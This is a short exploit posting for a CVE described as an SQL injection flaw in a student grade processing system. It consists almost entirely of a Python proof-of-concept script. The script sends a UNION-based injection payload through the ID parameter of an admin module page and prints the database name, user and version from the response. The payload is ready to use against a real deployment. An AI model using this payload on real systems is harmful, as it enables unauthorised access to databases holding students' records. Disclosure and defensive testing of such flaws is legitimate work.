CVE-2026-9575: 学生成绩处理系统SQL注入漏洞

import requests # Target URL configuration target_url = "http://target_ip/admin/modules/class/index.php" # Payload to test for SQL Injection # Attempting to extract database version using UNION based injection payload = { "view": "view", "ID": "1' UNION SELECT NULL, NULL, database(), user(), version()-- " } try: # Sending the malicious request response = requests.get(target_url, params=payload, timeout=5) # Analyzing the response if response.status_code == 200: print("[+] Potential SQL Injection detected.") print("[+] Response snippet:", response.text[:200]) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"Error connecting to target: {e}")